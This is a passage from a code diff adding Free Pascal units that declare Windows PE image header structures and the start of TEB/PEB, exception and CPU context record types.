boolean of + true : (e_lfanew : LONG); + false: (_lfanew : LONG); // delphi naming + end; + PIMAGE_DOS_HEADER = ^IMAGE_DOS_HEADER; + TIMAGE_DOS_HEADER = IMAGE_DOS_HEADER; + TIMAGEDOSHEADER = IMAGE_DOS_HEADER; + PIMAGEDOSHEADER = ^IMAGE_DOS_HEADER; + + MMRESULT = Longint; + +type + PWaveFormatEx = ^TWaveFormatEx; + TWaveFormatEx = packed record + wFormatTag: Word; { format type } + nChannels: Word; { number of channels (i.e. mono, stereo, etc.) } + nSamplesPerSec: DWORD; { sample rate } + nAvgBytesPerSec: DWORD; { for buffer estimation } + nBlockAlign: Word; { block size of data } + wBitsPerSample: Word; { number of bits per sample of mono data } + cbSize: Word; { the count in bytes of the size of } + end; + + // TrackMouseEvent. NT or higher only. + TTrackMouseEvent = Record + cbSize : DWORD; + dwFlags : DWORD; + hwndTrack : HWND; + dwHoverTime : DWORD; + end; + PTrackMouseEvent = ^TTrackMouseEvent; + + +// File header format. +// + + PIMAGE_FILE_HEADER = ^IMAGE_FILE_HEADER; + _IMAGE_FILE_HEADER = record + Machine: WORD; + NumberOfSections: WORD; + TimeDateStamp: DWORD; + PointerToSymbolTable: DWORD; + NumberOfSymbols: DWORD; + SizeOfOptionalHeader: WORD; + Characteristics: WORD; + end; + IMAGE_FILE_HEADER = _IMAGE_FILE_HEADER; + TImageFileHeader = IMAGE_FILE_HEADER; + PImageFileHeader = PIMAGE_FILE_HEADER; + + +// +// Debug Format +// + + PIMAGE_DEBUG_DIRECTORY = ^IMAGE_DEBUG_DIRECTORY; + _IMAGE_DEBUG_DIRECTORY = record + Characteristics: DWORD; + TimeDateStamp: DWORD; + MajorVersion: Word; + MinorVersion: Word; + Type_: DWORD; + SizeOfData: DWORD; + AddressOfRawData: DWORD; + PointerToRawData: DWORD; + end; + IMAGE_DEBUG_DIRECTORY = _IMAGE_DEBUG_DIRECTORY; + TImageDebugDirectory = IMAGE_DEBUG_DIRECTORY; + PImageDebugDirectory = PIMAGE_DEBUG_DIRECTORY; + +// +// Optional header format. +// + + + PIMAGE_DATA_DIRECTORY = ^IMAGE_DATA_DIRECTORY; + _IMAGE_DATA_DIRECTORY = record + VirtualAddress: DWORD; + Size: DWORD; + end; + IMAGE_DATA_DIRECTORY = _IMAGE_DATA_DIRECTORY; + TIMAGE_DATA_DIRECTORY = _IMAGE_DATA_DIRECTORY; + TImageDataDirectory = IMAGE_DATA_DIRECTORY; + PImageDataDirectory = PIMAGE_DATA_DIRECTORY; + +const + IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16; + +type + PIMAGE_OPTIONAL_HEADER32 = ^IMAGE_OPTIONAL_HEADER32; + _IMAGE_OPTIONAL_HEADER = record + // + // Standard fields. + // + Magic: Word; + MajorLinkerVersion: Byte; + MinorLinkerVersion: Byte; + SizeOfCode: DWORD; + SizeOfInitializedData: DWORD; + SizeOfUninitializedData: DWORD; + AddressOfEntryPoint: DWORD; + BaseOfCode: DWORD; + BaseOfData: DWORD; + // + // NT additional fields. + // + ImageBase: DWORD; + SectionAlignment: DWORD; + FileAlignment: DWORD; + MajorOperatingSystemVersion: Word; + MinorOperatingSystemVersion: Word; + MajorImageVersion: Word; + MinorImageVersion: Word; + MajorSubsystemVersion: Word; + MinorSubsystemVersion: Word; + Win32VersionValue: DWORD; + SizeOfImage: DWORD; + SizeOfHeaders: DWORD; + CheckSum: DWORD; + Subsystem: Word; + DllCharacteristics: Word; + SizeOfStackReserve: DWORD; + SizeOfStackCommit: DWORD; + SizeOfHeapReserve: DWORD; + SizeOfHeapCommit: DWORD; + LoaderFlags: DWORD; + NumberOfRvaAndSizes: DWORD; + DataDirectory: array [0..IMAGE_NUMBEROF_DIRECTORY_ENTRIES - 1] of IMAGE_DATA_DIRECTORY; + end; + IMAGE_OPTIONAL_HEADER32 = _IMAGE_OPTIONAL_HEADER; + TImageOptionalHeader32 = IMAGE_OPTIONAL_HEADER32; + PImageOptionalHeader32 = PIMAGE_OPTIONAL_HEADER32; + + PIMAGE_ROM_OPTIONAL_HEADER = ^IMAGE_ROM_OPTIONAL_HEADER; + _IMAGE_ROM_OPTIONAL_HEADER = record + Magic: Word; + MajorLinkerVersion: Byte; + MinorLinkerVersion: Byte; + SizeOfCode: DWORD; + SizeOfInitializedData: DWORD; + SizeOfUninitializedData: DWORD; + AddressOfEntryPoint: DWORD; + BaseOfCode: DWORD; + BaseOfData: DWORD; + BaseOfBss: DWORD; + GprMask: DWORD; + CprMask: array [0..3] of DWORD; + GpValue: DWORD; + end; + IMAGE_ROM_OPTIONAL_HEADER = _IMAGE_ROM_OPTIONAL_HEADER; + TIMAGE_ROM_OPTIONAL_HEADER = _IMAGE_ROM_OPTIONAL_HEADER; + TImageRomOptionalHeader = IMAGE_ROM_OPTIONAL_HEADER; + PImageRomOptionalHeader = PIMAGE_ROM_OPTIONAL_HEADER; + + PIMAGE_OPTIONAL_HEADER64 = ^IMAGE_OPTIONAL_HEADER64; + _IMAGE_OPTIONAL_HEADER64 = record + Magic: Word; + MajorLinkerVersion: Byte; + MinorLinkerVersion: Byte; + SizeOfCode: DWORD; + SizeOfInitializedData: DWORD; + SizeOfUninitializedData: DWORD; + AddressOfEntryPoint: DWORD; + BaseOfCode: DWORD; + ImageBase: Int64; + SectionAlignment: DWORD; + FileAlignment: DWORD; + MajorOperatingSystemVersion: Word; + MinorOperatingSystemVersion: Word; + MajorImageVersion: Word; + MinorImageVersion: Word; + MajorSubsystemVersion: Word; + MinorSubsystemVersion: Word; + Win32VersionValue: DWORD; + SizeOfImage: DWORD; + SizeOfHeaders: DWORD; + CheckSum: DWORD; + Subsystem: Word; + DllCharacteristics: Word; + SizeOfStackReserve: Int64; + SizeOfStackCommit: Int64; + SizeOfHeapReserve: Int64; + SizeOfHeapCommit: Int64; + LoaderFlags: DWORD; + NumberOfRvaAndSizes: DWORD; + DataDirectory: array [0..IMAGE_NUMBEROF_DIRECTORY_ENTRIES - 1] of IMAGE_DATA_DIRECTORY; + end; + IMAGE_OPTIONAL_HEADER64 = _IMAGE_OPTIONAL_HEADER64; + TImageOptionalHeader64 = IMAGE_OPTIONAL_HEADER64; + PImageOptionalHeader64 = PIMAGE_OPTIONAL_HEADER64; + +const + IMAGE_SIZEOF_ROM_OPTIONAL_HEADER = 56; + IMAGE_SIZEOF_STD_OPTIONAL_HEADER = 28; + IMAGE_SIZEOF_NT_OPTIONAL32_HEADER = 224; + IMAGE_SIZEOF_NT_OPTIONAL64_HEADER = 240; + + IMAGE_NT_OPTIONAL_HDR32_MAGIC = $10b; + IMAGE_NT_OPTIONAL_HDR64_MAGIC = $20b; + IMAGE_ROM_OPTIONAL_HDR_MAGIC = $107; + +type +{$ifdef _WIN64} + IMAGE_OPTIONAL_HEADER = IMAGE_OPTIONAL_HEADER64; + PIMAGE_OPTIONAL_HEADER = PIMAGE_OPTIONAL_HEADER64; +{$else} + IMAGE_OPTIONAL_HEADER = IMAGE_OPTIONAL_HEADER32; + PIMAGE_OPTIONAL_HEADER = PIMAGE_OPTIONAL_HEADER32; +{$endif} + TImageOptionalHeader = IMAGE_OPTIONAL_HEADER; + PImageOptionalHeader = PIMAGE_OPTIONAL_HEADER; + +const + IMAGE_SIZEOF_NT_OPTIONAL_HEADER = IMAGE_SIZEOF_NT_OPTIONAL32_HEADER; + IMAGE_NT_OPTIONAL_HDR_MAGIC = IMAGE_NT_OPTIONAL_HDR32_MAGIC; + +type + PIMAGE_NT_HEADERS64 = ^IMAGE_NT_HEADERS64; + _IMAGE_NT_HEADERS64 = record + Signature: DWORD; + FileHeader: IMAGE_FILE_HEADER; + OptionalHeader: IMAGE_OPTIONAL_HEADER64; + end; + IMAGE_NT_HEADERS64 = _IMAGE_NT_HEADERS64; + TImageNtHeaders64 = IMAGE_NT_HEADERS64; + PImageNtHeaders64 = PIMAGE_NT_HEADERS64; + + PIMAGE_NT_HEADERS32 = ^IMAGE_NT_HEADERS32; + _IMAGE_NT_HEADERS = record + Signature: DWORD; + FileHeader: IMAGE_FILE_HEADER; + OptionalHeader: IMAGE_OPTIONAL_HEADER32; + end; + IMAGE_NT_HEADERS32 = _IMAGE_NT_HEADERS; + TImageNtHeaders32 = IMAGE_NT_HEADERS32; + PImageNtHeaders32 = PIMAGE_NT_HEADERS32; + + PIMAGE_ROM_HEADERS = ^IMAGE_ROM_HEADERS; + _IMAGE_ROM_HEADERS = record + FileHeader: IMAGE_FILE_HEADER; + OptionalHeader: IMAGE_ROM_OPTIONAL_HEADER; + end; + IMAGE_ROM_HEADERS = _IMAGE_ROM_HEADERS; + TImageRomHeaders = IMAGE_ROM_HEADERS; + PImageRomHeaders = PIMAGE_ROM_HEADERS; + +{$ifdef _WIN64} + IMAGE_NT_HEADERS = IMAGE_NT_HEADERS64; + PIMAGE_NT_HEADERS = PIMAGE_NT_HEADERS64; +{$else} + IMAGE_NT_HEADERS = IMAGE_NT_HEADERS32; + PIMAGE_NT_HEADERS = PIMAGE_NT_HEADERS32; +{$endif} + + TImageNtHeaders = IMAGE_NT_HEADERS; + PImageNtHeaders = PIMAGE_NT_HEADERS; + + _GET_FILEEX_INFO_LEVELS = (GetFileExInfoStandard, GetFileExMaxInfoLevel); + GET_FILEEX_INFO_LEVELS = _GET_FILEEX_INFO_LEVELS; + TGetFileExInfoLevels = GET_FILEEX_INFO_LEVELS; + TGet_FileEx_Info_Levels = GET_FILEEX_INFO_LEVELS; + + tagBSTRBLOB = record + cbsize : ULONG; + pdata : pbyte; + end; + BSTRBLOB=TagBSTRBlob; + TBSTRBLOB=BSTRBLOB; + PBSTRBLOB=^BSTRBLOB; + + tagCLIPDATA = record + cbsize : ULONG; + ulClipFmt : long; + pclipdata : pbyte; + end; + CLIPDATA=TagCLIPDATA; + TCLIPDATA=CLIPDATA; + PCLIPDATA=^CLIPDATA; + + TImage_Section_SubHeader= record + case longint of + 0 : ( PhysicalAddress : DWORD ); + 1 : ( VirtualSize : DWORD ); + end; + + _IMAGE_SECTION_HEADER = record + Name : array[0..(IMAGE_SIZEOF_SHORT_NAME)-1] of BYTE; + Misc : TImage_Section_SubHeader; + VirtualAddress : DWORD; + SizeOfRawData : DWORD; + PointerToRawData : DWORD; + PointerToRelocations : DWORD; + PointerToLinenumbers : DWORD; + NumberOfRelocations : WORD; + NumberOfLinenumbers : WORD; + Characteristics : DWORD; + end; + IMAGE_SECTION_HEADER = _IMAGE_SECTION_HEADER; + TIMAGE_SECTION_HEADER = _IMAGE_SECTION_HEADER; + PIMAGE_SECTION_HEADER = ^_IMAGE_SECTION_HEADER; + PPIMAGE_SECTION_HEADER = ^PIMAGE_SECTION_HEADER; + IMAGESECTIONHEADER = _IMAGE_SECTION_HEADER; + TIMAGESECTIONHEADER = _IMAGE_SECTION_HEADER; + PIMAGESECTIONHEADER = ^_IMAGE_SECTION_HEADER; + + + _IMAGE_FUNCTION_ENTRY = record + StartingAddress, + EndingAddress, + EndOfPrologue : DWord; + end; + IMAGE_FUNCTION_ENTRY = _IMAGE_FUNCTION_ENTRY; + TIMAGE_FUNCTION_ENTRY= IMAGE_FUNCTION_ENTRY; + PIMAGE_FUNCTION_ENTRY= ^IMAGE_FUNCTION_ENTRY; + LPIMAGE_FUNCTION_ENTRY= PIMAGE_FUNCTION_ENTRY; + + + _IMAGE_FUNCTION_ENTRY64 = record + StartingAddress, + EndingAddress : ULONGLONG ; + case boolean of + false : (EndOfPrologue : ULONGLONG); + true : (UnwindInfoAddress : ULONGLONG); + end; + IMAGE_FUNCTION_ENTRY64 = _IMAGE_FUNCTION_ENTRY64; + TIMAGE_FUNCTION_ENTRY64 = _IMAGE_FUNCTION_ENTRY64; + PIMAGE_FUNCTION_ENTRY64 = ^_IMAGE_FUNCTION_ENTRY64; + LPIMAGE_FUNCTION_ENTRY64= ^_IMAGE_FUNCTION_ENTRY64; + + _IMAGE_COFF_SYMBOLS_HEADER = record + NumberOfSymbols, + LvaToFirstSymbol, + NumberOfLinenumbers, + LvaToFirstLinenumber, + RvaToFirstByteOfCode, + RvaToLastByteOfCode, + RvaToFirstByteOfData, + RvaToLastByteOfData : DWORD; + end; + TIMAGE_COFF_SYMBOLS_HEADER = _IMAGE_COFF_SYMBOLS_HEADER; + IMAGE_COFF_SYMBOLS_HEADER = _IMAGE_COFF_SYMBOLS_HEADER; + PIMAGE_COFF_SYMBOLS_HEADER = ^IMAGE_COFF_SYMBOLS_HEADER; + LPIMAGE_COFF_SYMBOLS_HEADER= PIMAGE_COFF_SYMBOLS_HEADER; + + + _FPO_DATA = record + ulOffStart: DWORD; // offset 1st byte of function code + cbProcSize: DWORD; // # bytes in function + cdwLocals : DWORD; // # bytes in locals/4 + bitvalues : word; // +{ + WORD cdwParams; // # bytes in params/4 + WORD cbProlog : 8; // # bytes in prolog + WORD cbRegs : 3; // # regs saved + WORD fHasSEH : 1; // TRUE if SEH in func + WORD fUseBP : 1; // TRUE if EBP has been allocated + WORD reserved : 1; // reserved for future use + WORD cbFrame : 2; // frame type +} + end; + FPO_DATA = _FPO_DATA; + TFPO_DATA = _FPO_DATA; + PFPO_DATA = ^_FPO_DATA; + LPFPO_DATA = PFPO_DATA; + + + IMAGE_LOAD_CONFIG_DIRECTORY32 = record + Size : DWORD; + TimeDateStamp : DWORD; + MajorVersion : WORD; + MinorVersion : WORD; + GlobalFlagsClear : DWORD; + GlobalFlagsSet : DWORD; + CriticalSectionDefaultTimeout : DWORD; + DeCommitFreeBlockThreshold : DWORD; + DeCommitTotalFreeThreshold : DWORD; + LockPrefixTable : DWORD; + MaximumAllocationSize : DWORD; + VirtualMemoryThreshold : DWORD; + ProcessHeapFlags : DWORD; + ProcessAffinityMask : DWORD; + CSDVersion : WORD; + Reserved1 : WORD; + EditList : DWORD; + SecurityCookie : DWORD; + SEHandlerTable : DWORD; + SEHandlerCount : DWORD; + end; + PIMAGE_LOAD_CONFIG_DIRECTORY32 = ^IMAGE_LOAD_CONFIG_DIRECTORY32; + TIMAGE_LOAD_CONFIG_DIRECTORY32 = IMAGE_LOAD_CONFIG_DIRECTORY32; + IMAGE_LOAD_CONFIG_DIRECTORY64 = record + Size : DWORD; + TimeDateStamp : DWORD; + MajorVersion : WORD; + MinorVersion : WORD; + GlobalFlagsClear : DWORD; + GlobalFlagsSet : DWORD; + CriticalSectionDefaultTimeout : DWORD; + DeCommitFreeBlockThreshold : ULONGLONG; + DeCommitTotalFreeThreshold : ULONGLONG; + LockPrefixTable : ULONGLONG; + MaximumAllocationSize : ULONGLONG; + VirtualMemoryThreshold : ULONGLONG; + ProcessAffinityMask : ULONGLONG; + ProcessHeapFlags : DWORD; + CSDVersion : WORD; + Reserved1 : WORD; + EditList : ULONGLONG; + SecurityCookie : ULONGLONG; + SEHandlerTable : ULONGLONG; + SEHandlerCount : ULONGLONG; + end; + PIMAGE_LOAD_CONFIG_DIRECTORY64 = ^IMAGE_LOAD_CONFIG_DIRECTORY64; + TIMAGE_LOAD_CONFIG_DIRECTORY64 = IMAGE_LOAD_CONFIG_DIRECTORY64; +{$ifdef _WIN64} + IMAGE_LOAD_CONFIG_DIRECTORY = IMAGE_LOAD_CONFIG_DIRECTORY64; + TIMAGE_LOAD_CONFIG_DIRECTORY = TIMAGE_LOAD_CONFIG_DIRECTORY64; + PIMAGE_LOAD_CONFIG_DIRECTORY = PIMAGE_LOAD_CONFIG_DIRECTORY64; +{$else} + IMAGE_LOAD_CONFIG_DIRECTORY = IMAGE_LOAD_CONFIG_DIRECTORY32; + TIMAGE_LOAD_CONFIG_DIRECTORY = TIMAGE_LOAD_CONFIG_DIRECTORY32; + PIMAGE_LOAD_CONFIG_DIRECTORY = PIMAGE_LOAD_CONFIG_DIRECTORY32; +{$endif} + +{$push} +{$packrecords 4} + + PIMAGE_EXPORT_DIRECTORY = ^TIMAGE_EXPORT_DIRECTORY; + IMAGE_EXPORT_DIRECTORY = record + Characteristics : DWORD; + TimeDateStamp : DWORD; + MajorVersion : WORD; + MinorVersion : WORD; + Name : DWORD; + Base : DWORD; + NumberOfFunctions : DWORD; + NumberOfNames : DWORD; + AddressOfFunctions : DWORD; { RVA from base of image } + AddressOfNames : DWORD; { RVA from base of image } + AddressOfNameOrdinals : DWORD; { RVA from base of image } + end; + TIMAGE_EXPORT_DIRECTORY = IMAGE_EXPORT_DIRECTORY; + _IMAGE_EXPORT_DIRECTORY = IMAGE_EXPORT_DIRECTORY; + LPIMAGE_EXPORT_DIRECTORY= PIMAGE_EXPORT_DIRECTORY; + + P_IMAGE_IMPORT_BY_NAME = ^_IMAGE_IMPORT_BY_NAME; + _IMAGE_IMPORT_BY_NAME = record + Hint : WORD; + Name : array[0..0] of AnsiCHAR; + end; + IMAGE_IMPORT_BY_NAME = _IMAGE_IMPORT_BY_NAME; + PIMAGE_IMPORT_BY_NAME = ^IMAGE_IMPORT_BY_NAME; + LPIMAGE_IMPORT_BY_NAME = P_IMAGE_IMPORT_BY_NAME; + PPIMAGE_IMPORT_BY_NAME = ^PIMAGE_IMPORT_BY_NAME; + + {$push}{$packrecords 8} // Use align 8 for the 64-bit IAT.} + P_IMAGE_THUNK_DATA64 = ^_IMAGE_THUNK_DATA64; + _IMAGE_THUNK_DATA64 = record + u1 : record + case longint of + 0 : ( ForwarderString : ULONGLONG ); { PBYTE } + 1 : ( _Function : ULONGLONG ); { PDWORD } + 2 : ( Ordinal : ULONGLONG ); + 3 : ( AddressOfData : ULONGLONG ); { PIMAGE_IMPORT_BY_NAME } + end; + end; + IMAGE_THUNK_DATA64 = _IMAGE_THUNK_DATA64; + PIMAGE_THUNK_DATA64 = ^IMAGE_THUNK_DATA64; + + PPIMAGE_THUNK_DATA64 = ^PIMAGE_THUNK_DATA64; + LPIMAGE_THUNK_DATA64 = PIMAGE_THUNK_DATA64; + {$pop} // Back to 4 byte packing} + + P_IMAGE_THUNK_DATA32 = ^_IMAGE_THUNK_DATA32; + _IMAGE_THUNK_DATA32 = record + u1 : record + case longint of + 0 : ( ForwarderString : DWORD ); { PBYTE } + 1 : ( _Function : DWORD ); { PDWORD } + 2 : ( Ordinal : DWORD ); + 3 : ( AddressOfData : DWORD ); { PIMAGE_IMPORT_BY_NAME } + end; + end; + IMAGE_THUNK_DATA32 = _IMAGE_THUNK_DATA32; + PIMAGE_THUNK_DATA32 = ^IMAGE_THUNK_DATA32; + + PPIMAGE_THUNK_DATA32 = ^PIMAGE_THUNK_DATA32; + LPIMAGE_THUNK_DATA32 = PIMAGE_THUNK_DATA32; + + { } + { Thread Local Storage } + { } + + PIMAGE_TLS_CALLBACK = procedure (DllHandle:PVOID; Reason:DWORD; Reserved:PVOID);stdcall; {NTAPI} + + P_IMAGE_TLS_DIRECTORY64 = ^_IMAGE_TLS_DIRECTORY64; + _IMAGE_TLS_DIRECTORY64 = record + StartAddressOfRawData : ULONGLONG; + EndAddressOfRawData : ULONGLONG; + AddressOfIndex : ULONGLONG; { PDWORD } + AddressOfCallBacks : ULONGLONG; { PIMAGE_TLS_CALLBACK *; } + SizeOfZeroFill : DWORD; + case longint of + 0 : ( Characteristics : DWORD ); + 1 : ( CharacteristicsFields: bitpacked record + Reserved0 : 0..$FFFFF; // 5 nibbles=20 bits + Alignment : 0..$F; // 4 bits + Reserved1 : 0..$FF; // 8 bits + end ); + end; + IMAGE_TLS_DIRECTORY64 = _IMAGE_TLS_DIRECTORY64; + PIMAGE_TLS_DIRECTORY64 = ^IMAGE_TLS_DIRECTORY64; + + PPIMAGE_TLS_DIRECTORY64 = ^PIMAGE_TLS_DIRECTORY64; + LPIMAGE_TLS_DIRECTORY64 = PIMAGE_TLS_DIRECTORY64; + P_IMAGE_TLS_DIRECTORY32 = ^_IMAGE_TLS_DIRECTORY32; + _IMAGE_TLS_DIRECTORY32 = record + StartAddressOfRawData : DWORD; + EndAddressOfRawData : DWORD; + AddressOfIndex : DWORD; { PDWORD } + AddressOfCallBacks : DWORD; { PIMAGE_TLS_CALLBACK * } + SizeOfZeroFill : DWORD; + case longint of + 0 : ( Characteristics : DWORD ); + 1 : ( CharacteristicsFields : bitpacked record + Reserved0 : 0..$FFFFF; // 5 nibbles=20 bits + Alignment : 0..$F; // 4 bits + Reserved1 : 0..$FF; // 8 bits + end ); + + end; + IMAGE_TLS_DIRECTORY32 = _IMAGE_TLS_DIRECTORY32; + PIMAGE_TLS_DIRECTORY32 = ^IMAGE_TLS_DIRECTORY32; + + + + PPIMAGE_TLS_DIRECTORY32 = ^PIMAGE_TLS_DIRECTORY32; + LPIMAGE_TLS_DIRECTORY32 = PIMAGE_TLS_DIRECTORY32; + + {$ifdef WIN64} + + PIMAGE_THUNK_DATA = PIMAGE_THUNK_DATA64; + IMAGE_THUNK_DATA = IMAGE_THUNK_DATA64; + + PPIMAGE_THUNK_DATA = ^PIMAGE_THUNK_DATA64; + LPIMAGE_THUNK_DATA = PIMAGE_THUNK_DATA64; + + PIMAGE_TLS_DIRECTORY = ^IMAGE_TLS_DIRECTORY; + IMAGE_TLS_DIRECTORY = IMAGE_TLS_DIRECTORY64; + + PPIMAGE_TLS_DIRECTORY = ^PIMAGE_TLS_DIRECTORY; + LPIMAGE_TLS_DIRECTORY = PIMAGE_TLS_DIRECTORY64; + {$else} + + PIMAGE_THUNK_DATA = PIMAGE_THUNK_DATA32; + IMAGE_THUNK_DATA = IMAGE_THUNK_DATA32; + + PPIMAGE_THUNK_DATA = ^PIMAGE_THUNK_DATA; + LPIMAGE_THUNK_DATA = PIMAGE_THUNK_DATA32; + PIMAGE_TLS_DIRECTORY = ^IMAGE_TLS_DIRECTORY; + IMAGE_TLS_DIRECTORY = IMAGE_TLS_DIRECTORY32; + + PPIMAGE_TLS_DIRECTORY = ^PIMAGE_TLS_DIRECTORY; + LPIMAGE_TLS_DIRECTORY = PIMAGE_TLS_DIRECTORY32; + {$endif} + + P_IMAGE_IMPORT_DESCRIPTOR = ^_IMAGE_IMPORT_DESCRIPTOR; + _IMAGE_IMPORT_DESCRIPTOR = record + case longint of + 0 : ( Characteristics : DWORD ); { 0 for terminating null import descriptor } + 1 : ( OriginalFirstThunk : DWORD; { RVA to original unbound IAT (PIMAGE_THUNK_DATA) } + TimeDateStamp : DWORD; { 0 if not bound, } + // -1 if bound, and real date\time stamp + // in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND) + // O.W. date/time stamp of DLL bound to (Old BIND) + ForwarderChain : DWORD; // -1 if no forwarders + Name : DWORD; + FirstThunk : DWORD; // RVA to IAT (if bound this IAT has actual addresses) + ); + end; + IMAGE_IMPORT_DESCRIPTOR = _IMAGE_IMPORT_DESCRIPTOR; + PIMAGE_IMPORT_DESCRIPTOR = ^IMAGE_IMPORT_DESCRIPTOR {UNALIGNED } ; + + + PPIMAGE_IMPORT_DESCRIPTOR = ^PIMAGE_IMPORT_DESCRIPTOR; + LPIMAGE_IMPORT_DESCRIPTOR = PIMAGE_IMPORT_DESCRIPTOR; + { } + { New format import descriptors pointed to by DataDirectory[ IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT ] } + { } + + + P_IMAGE_BOUND_IMPORT_DESCRIPTOR = ^_IMAGE_BOUND_IMPORT_DESCRIPTOR; + _IMAGE_BOUND_IMPORT_DESCRIPTOR = record + TimeDateStamp : DWORD; + OffsetModuleName : WORD; + NumberOfModuleForwarderRefs : WORD; + { Array of zero or more IMAGE_BOUND_FORWARDER_REF follows } + end; + + IMAGE_BOUND_IMPORT_DESCRIPTOR = _IMAGE_BOUND_IMPORT_DESCRIPTOR; + PIMAGE_BOUND_IMPORT_DESCRIPTOR = ^IMAGE_BOUND_IMPORT_DESCRIPTOR; + LPIMAGE_BOUND_IMPORT_DESCRIPTOR = P_IMAGE_BOUND_IMPORT_DESCRIPTOR; + PPIMAGE_BOUND_IMPORT_DESCRIPTOR = ^PIMAGE_BOUND_IMPORT_DESCRIPTOR; + + P_IMAGE_BOUND_FORWARDER_REF = ^_IMAGE_BOUND_FORWARDER_REF; + _IMAGE_BOUND_FORWARDER_REF = record + TimeDateStamp : DWORD; + OffsetModuleName : WORD; + Reserved : WORD; + end; + IMAGE_BOUND_FORWARDER_REF = _IMAGE_BOUND_FORWARDER_REF; + PIMAGE_BOUND_FORWARDER_REF = ^IMAGE_BOUND_FORWARDER_REF; + LPIMAGE_BOUND_FORWARDER_REF = P_IMAGE_BOUND_FORWARDER_REF; + PPIMAGE_BOUND_FORWARDER_REF = ^PIMAGE_BOUND_FORWARDER_REF; + { Delay load version 2 } + + _IMAGE_DELAYLOAD_DESCRIPTOR = record + case longint of + 0: (AllAttributes :Dword; + DllNameRVA, // RVA to the name of the target library (NULL-terminate ASCII string) + ModuleHandleRVA, // RVA to the HMODULE caching location (PHMODULE) + ImportAddressTableRVA, // RVA to the start of the IAT (PIMAGE_THUNK_DATA) + ImportNameTableRVA, // RVA to the start of the name table (PIMAGE_THUNK_DATA::AddressOfData) + BoundImportAddressTableRVA, // RVA to an optional bound IAT + UnloadInformationTableRVA, // RVA to an optional unload info table + TimeDateStamp : DWORD; // 0 if not bound, + // Otherwise, date/time of the target DLL + ); + 1: (Attributes:bitpacked record + rvabased:0..1; {1 bits} // Delay load version 2 + ReservedAttributes: 0..$7FFFFFF; {31 bits} + end;) + end; + + IMAGE_DELAYLOAD_DESCRIPTOR= _IMAGE_DELAYLOAD_DESCRIPTOR; + PIMAGE_DELAYLOAD_DESCRIPTOR= ^_IMAGE_DELAYLOAD_DESCRIPTOR; + PCIMAGE_DELAYLOAD_DESCRIPTOR= PIMAGE_DELAYLOAD_DESCRIPTOR; +{$pop} + + +implementation +end. + diff --git a/Core/tep_peb.pas b/Core/tep_peb.pas new file mode 100644 index 0000000..d1b7934 --- /dev/null +++ b/Core/tep_peb.pas @@ -0,0 +1,941 @@ +unit TEP_PEB; + +{$mode delphi} +{$PackRecords C} + +interface + +uses + Classes, SysUtils; + +type + ULONG = Cardinal; + LONG = Longint; + UCHAR = byte; + +type + T4Bits=0..15; + T2Bits=0..3; + T1Bit=0..1; + + TSpareCrossTebBits = bitpacked record + bit_0 : T1Bit; + bit_1 : T1Bit; + bit_2 : T1Bit; + bit_3 : T1Bit; + bit_4 : T1Bit; + bit_5 : T1Bit; + bit_6 : T1Bit; + bit_7 : T1Bit; + bit_8 : T1Bit; + bit_9 : T1Bit; + bit_10 : T1Bit; + bit_11 : T1Bit; + bit_12 : T1Bit; + bit_13 : T1Bit; + bit_14 : T1Bit; + bit_15 : T1Bit; + end; + + +const + EXCEPTION_ACCESS_VIOLATION = $C0000005; + EXCEPTION_BREAKPOINT = $80000003; + EXCEPTION_DATATYPE_MISALIGNMENT = $80000002; + EXCEPTION_SINGLE_STEP = $80000004; + EXCEPTION_ARRAY_BOUNDS_EXCEEDED = $c000008c; + EXCEPTION_FLT_DENORMAL_OPERAND = $c000008d; + EXCEPTION_FLT_DIVIDE_BY_ZERO = $c000008e; + EXCEPTION_FLT_INEXACT_RESULT = $c000008f; + EXCEPTION_FLT_INVALID_OPERATION = $c0000090; + EXCEPTION_FLT_OVERFLOW = $c0000091; + EXCEPTION_FLT_STACK_CHECK = $c0000092; + EXCEPTION_FLT_UNDERFLOW = $c0000093; + EXCEPTION_INT_DIVIDE_BY_ZERO = $c0000094; + EXCEPTION_INT_OVERFLOW = $c0000095; + EXCEPTION_INVALID_HANDLE = $c0000008; + EXCEPTION_PRIV_INSTRUCTION = $c0000096; + EXCEPTION_NONCONTINUABLE_EXCEPTION = $c0000025; + EXCEPTION_NONCONTINUABLE = $1; + EXCEPTION_STACK_OVERFLOW = $c00000fd; + EXCEPTION_INVALID_DISPOSITION = $c0000026; + EXCEPTION_IN_PAGE_ERROR = $c0000006; + EXCEPTION_ILLEGAL_INSTRUCTION = $c000001d; + EXCEPTION_POSSIBLE_DEADLOCK = $c0000194; + + EXCEPTION_MAXIMUM_PARAMETERS = 15; + +type + + EXCEPTION_RECORD_32 = record + ExceptionCode : DWORD; + ExceptionFlags : DWORD; + ExceptionRecord : DWORD; // Pointer to EXCEPTION_RECORD_32 . + ExceptionAddress : DWORD; + NumberParameters : DWORD; + ExceptionInformation : array[0..(EXCEPTION_MAXIMUM_PARAMETERS)-1] of DWORD; + end; + + FLOATING_SAVE_AREA_32 = record + ControlWord : DWORD; + StatusWord : DWORD; + TagWord : DWORD; + ErrorOffset : DWORD; + ErrorSelector : DWORD; + DataOffset : DWORD; + DataSelector : DWORD; + RegisterArea : array[0..79] of BYTE; + Cr0NpxState : DWORD; + end; + + CONTEXT_32 = record + ContextFlags : DWORD; + Dr0 : DWORD; + Dr1 : DWORD; + Dr2 : DWORD; + Dr3 : DWORD; + Dr6 : DWORD; + Dr7 : DWORD; + FloatSave : FLOATING_SAVE_AREA_32; + SegGs : DWORD; + SegFs : DWORD; + SegEs : DWORD; + SegDs : DWORD; + Edi : DWORD; + Esi : DWORD; + Ebx : DWORD; + Edx : DWORD; + Ecx : DWORD; + Eax : DWORD; + Ebp : DWORD; + Eip : DWORD; + SegCs : DWORD; + EFlags : DWORD; + Esp : DWORD; + SegSs : DWORD; + end; + + + LARGE_INTEGER = record + case Integer of + 0: ( + LowPart: DWORD; + HighPart: LONG + ); + 1: (QuadPart: UInt64); + end; + + ULARGE_INTEGER = record + case Integer of + 0: ( + LowPart: DWORD; + HighPart: DWORD + ); + 1: ( QuadPart: UInt64); + end; + + CLIENT_ID_32 = record + UniqueProcess: DWORD; + UniqueThread: DWORD; + end; + + CLIENT_ID_64 = record + UniqueProcess: QWORD; + UniqueThread: QWORD; + end; + + LIST_ENTRY_32 = record + Flink : DWORD; // Pointer to LIST_ENTRY_32. + Blink : DWORD; // Pointer to LIST_ENTRY_32. + end; + + LIST_ENTRY_64 = record + Flink : QWORD; // Pointer to 